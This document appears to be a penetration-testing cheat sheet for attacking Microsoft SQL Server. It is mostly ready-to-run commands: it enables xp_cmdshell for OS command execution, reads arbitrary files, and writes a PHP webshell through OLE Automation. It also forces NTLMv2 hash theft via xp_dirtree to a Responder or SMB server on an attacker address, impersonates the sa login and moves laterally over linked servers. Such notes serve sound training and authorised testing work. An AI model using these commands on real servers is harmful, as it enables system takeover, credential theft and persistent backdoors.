MSSQL

Introduction

Microsoft SQL (MSSQL) is Microsoft's SQL-based relational database management system The default MSSQL port is 1433 TCP

MSSQL Enumeration & Connection to the Server

Enumeration with Nmap NSE: sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
Log in to the MSSQL server using Windows authentication: mssqlclient.py <user>@<FQDN/IP> -windows-auth
Connect to the MSSQL Server using sqlcmd: sqlcmd -S SRVMSSQL -U validuser -P validpassword -y 30 -Y 30
Connect to the MSSQL Server using sqsh: sqsh -S 10.129.203.7 -U validuser -P validpassword -h
Connect using local windows account: sqsh -S 10.129.203.7 -U .\\validuser -P validpassword -h

Interacting with a MSSQL Server

Command	Description
SELECT name FROM master.dbo.sysdatabases	Show databases
USE users	Use a database
SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES	Show tables from users database
SELECT * FROM users	Select all Data from Table "users"

Command

Description

SELECT name FROM master.dbo.sysdatabases

Show databases

USE users

Use a database

SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES

Show tables from users database

SELECT * FROM users

Select all Data from Table "users"

MSSQL Command Execution

MSSQL can allow command execution through the xp_cmdshell command: xp_cmdshell 'whoami' The commands will be executed using the mssql's service account privileges.

Enabling xp_cmdshell: If xp_cmdshell is disabled, you might be able to enable it using the following commands:

EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

MSSQL File Read

We can read any file to which the account has read access using the following query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

MSSQL File Write

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges
After that, we need to execute some stored procedures to create the file:

Enable Ole Automation Procedures:

sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

Create a File:

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\path\to\your\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Capture MSSQL Service Hash

It's possible to capture the MSSQL Service user's account hash using a fake SMB Server or Responder
When using the MSSQL xp_subdirs or xp_dirtree stored procedures pointing to our fake SMB Server, the MSSQL Service will be forced to authenticate using his NTLMv2 hash

Follow these steps:

Start Responder or start SMB fake server: sudo responder -I tun0 or sudo impacket-smbserver share ./ -smb2support
Hash stealing through xp_dirtree: EXEC master..xp_dirtree '\\10.10.110.17\share\'
Hash stealing through xp_subdirs: EXEC master..xp_subdirs '\\10.10.110.17\share\'

MSSQL - Impersonate Existing Users

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends

To impersonate a user:

Verify if current account is a sysadmin (By default, sysadmins can impersonate any user)
```
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

Identify the users that we can impersonate:

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Impersonate a user (example: sa)
```
EXECUTE AS LOGIN = 'sa'
```

Communicating with Other Databases [Linked Servers]

MSSQL has a configuration option called linked servers
If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server.
Administrators can configure a linked server using credentials from the remote server.
If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.

Follow these steps:

Identify Linked Servers in MSSQL: SELECT srvname, isremote FROM sysservers
Identify the user for the connection and its privileges: EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.10.10.100\SQLSERVERNAME]

Last updated 5 months ago